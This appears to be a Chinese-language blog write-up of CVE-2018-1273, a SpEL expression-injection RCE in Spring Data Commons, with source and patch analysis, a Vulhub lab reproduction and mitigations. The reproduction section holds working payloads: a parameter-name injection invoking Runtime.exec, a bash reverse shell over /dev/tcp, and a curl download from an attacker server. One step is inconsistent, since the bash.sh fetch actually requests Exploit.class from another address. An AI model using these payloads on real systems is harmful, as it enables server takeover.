CVE-2018-1273源码分析与漏洞复现
漏洞概述
CVE-2018-1273 是 Spring Data Commons 中的一个高危远程代码执行(RCE)漏洞,影响版本为 Spring Data Commons 1.13–1.13.10 和 2.0–2.0.5。攻击者通过构造包含恶意 SpEL表达式的 HTTP 请求参数,触发表达式注入,最终在目标服务器上执行任意命令。漏洞的根源在于 Spring Data REST 对用户输入的参数名未进行安全过滤,直接作为 SpEL 表达式解析。
技术细节分析
1. 漏洞成因
SpEL 表达式注入
当应用程序使用基于接口的投影(Projection)绑定请求参数时,Spring Data Commons 的MapDataBinder
类会将用户输入的参数名直接转换为 SpEL 表达式。攻击者可通过在参数名中嵌入恶意表达式(如T(java.lang.Runtime).exec("calc")
),触发任意代码执行。上下文权限控制缺失
代码中使用StandardEvaluationContext
作为 SpEL 执行上下文,该上下文允许完全访问 Java 类和方法(包括反射操作),未对危险操作进行限制。
2. 源码分析
关键代码:MapDataBinder
类的 setPropertyValue
方法
1 |
|
漏洞触发链:
- 参数名注入:攻击者提交形如
username[#this.getClass().forName("java.lang.Runtime").exec("calc")]
的请求参数。 - 表达式解析:
PARSER.parseExpression(propertyName)
将参数名解析为 SpEL 表达式。 - 代码执行:
expression.setValue(context, value)
执行表达式,触发Runtime.exec()
方法。
关键问题点:
- 输入信任问题:
propertyName
直接来自用户输入的参数名,未进行任何过滤。 - 上下文权限过高:
StandardEvaluationContext
允许执行任意 Java 方法(如反射调用java.lang.Runtime
)。 - 路径绑定机制:基于投影的绑定逻辑(
PropertyTraversingMapAccessor
)允许参数名包含复杂表达式。
3. 补丁分析
官方修复方案通过以下方式限制漏洞利用:
1. 替换执行上下文
将 StandardEvaluationContext
替换为 **SimpleEvaluationContext
**,后者仅支持基础数据绑定操作,禁止访问危险类和方法。
1
2
3
4// 修复后代码示例
SimpleEvaluationContext context = SimpleEvaluationContext.forPropertyAccessors(
new PropertyTraversingMapAccessor(type, conversionService))
.build();
2. 路径合法性校验
在 setPropertyValue
方法中增加对 propertyName
的校验逻辑,禁止非法的属性名格式(如包含 #
、T()
等 SpEL 关键字)。
漏洞复现
环境搭建
1.使用 Vulhub 环境启动漏洞靶机:
1 |
|
2.访问访问 http://target:8080/users
,确认服务正常运行。
攻击步骤
1.使用bp抓取/users
的包
2.上传恶意文件
- 构造
payload
,替换POST
内容并发送请求包1
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/test")]=&password=&repeatedPassword=
- 验证:进入靶机容器发现出现
test
文件
3.反弹shell
- 创建
bash.sh
文件1
2bash -i >& /dev/tcp/192.168.1.102/6666 0>&1
192.168.1.102替换为自己攻击机ip - 在文件目录启动http服务
1
python -m http.server 6666
- kali开启监听
- 替换
POST
内容并发包,请求bash.sh
文件1
2username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("curl -o /Exploit.class http://192.168.43.93:8888/Exploit.class")]=&password=&repeatedPassword=
192.168.43.93:8888替换为自己的http服务
- 再次替换
POST
内容并发包,执行bash.sh
1
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("bash /tmp/bash.sh")]=&password=&repeatedPassword=
- 反弹shell成功
修复方案
1. 升级版本
- Spring Data Commons 1.13.x 用户升级至 1.13.11。
- Spring Data Commons 2.0.x 用户升级至 2.0.6。
2. 禁用危险特性
若非必要,关闭基于投影的参数绑定功能(通过配置 @ProjectedPayload
的 signature
属性)。
3. 输入过滤
自定义参数名校验逻辑,禁止包含 #
、T()
、new
等 SpEL 关键字:
1
2
3
4
5
6public class SafeParamValidator {
private static final Pattern SPEL_PATTERN = Pattern.compile("[T#()]");
public static boolean isValidParam(String paramName) {
return !SPEL_PATTERN.matcher(paramName).find();
}
}
总结
CVE-2018-1273 的根源在于 Spring Data Commons 对用户输入的直接信任和 SpEL 表达式的滥用。其修复方案通过限制表达式执行上下文和强化路径校验,有效降低了攻击面。开发者应始终遵循最小化信任原则,结合框架升级与自定义安全策略,防范类似漏洞。
参考链接